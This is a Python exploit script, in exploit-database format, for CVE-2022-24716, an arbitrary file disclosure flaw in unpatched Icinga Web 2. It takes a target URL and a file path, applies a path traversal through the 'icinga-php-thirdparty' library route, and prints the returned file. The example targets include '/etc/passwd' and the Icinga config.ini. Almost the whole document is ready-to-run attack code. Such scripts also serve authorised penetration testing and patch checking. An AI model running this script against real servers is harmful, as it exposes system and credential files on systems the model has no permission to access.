Icinga Web 2.10 – Arbitrary File Disclosure
#!/usr/bin/env python3 # Exploit Title: Icinga Web 2.10 - Arbitrary File Disclosure # Date: 2023-03-19 # Exploit Author: Jacob Ebben # Vendor Homepage: https://icinga.com/ # Software Link: https://github.com/Icinga/icingaweb2 # Version: <2.8.6, <2.9.6, <2.10 # Tested on: Icinga Web 2 Version 2.9.2 on Linux # CVE: CVE-2022-24716 # Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ import argparse import requests from termcolor import colored def print_message(message, type): if type == 'SUCCESS': print('[' + colored('SUCCESS', 'green') + '] ' + message) elif type == 'INFO': print('[' + colored('INFO', 'blue') + '] ' + message) elif type == 'WARNING': print('[' + colored('WARNING', 'yellow') + '] ' + message) elif type == 'ALERT': print('[' + colored('ALERT', 'yellow') + '] ' + message) elif type == 'ERROR': print('[' + colored('ERROR', 'red') + '] ' + message) def get_normalized_url(url): if url[-1] != '/': url += '/' if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://': url = "http://" + url return url def get_proxy_protocol(url): if url[0:8].lower() == 'https://': return 'https' return 'http' parser = argparse.ArgumentParser(description='Arbitrary File Disclosure Vulnerability in Icinga Web <2.8.6, <2.9.6, <2.10') parser.add_argument('TARGET', type=str, help='Target Icinga location (Example: http://localhost:8080/icinga2/ or https://victim.xyz/icinga/)') parser.add_argument('FILE', type=str, help='Filename to gather from exploit (Example: "/etc/passwd" or "/etc/icingaweb2/config.ini")') parser.add_argument('-P','--proxy', type=str, help='HTTP proxy address (Example: http://127.0.0.1:8080/)') args = parser.parse_args() if args.proxy: proxy_url = get_normalized_url(args.proxy) proxy_protocol = get_proxy_protocol(proxy_url) proxies = { proxy_protocol: proxy_url } else: proxies = {} base_url = get_normalized_url(args.TARGET) exploit_url = base_url + "lib/icinga/icinga-php-thirdparty" + args.FILE request = requests.get(base_url, proxies=proxies) if request.status_code == 404: print_message("Could not connect to provided URL!", "ERROR") exit() request = requests.get(exploit_url, proxies=proxies) file_content = request.text print(file_content) |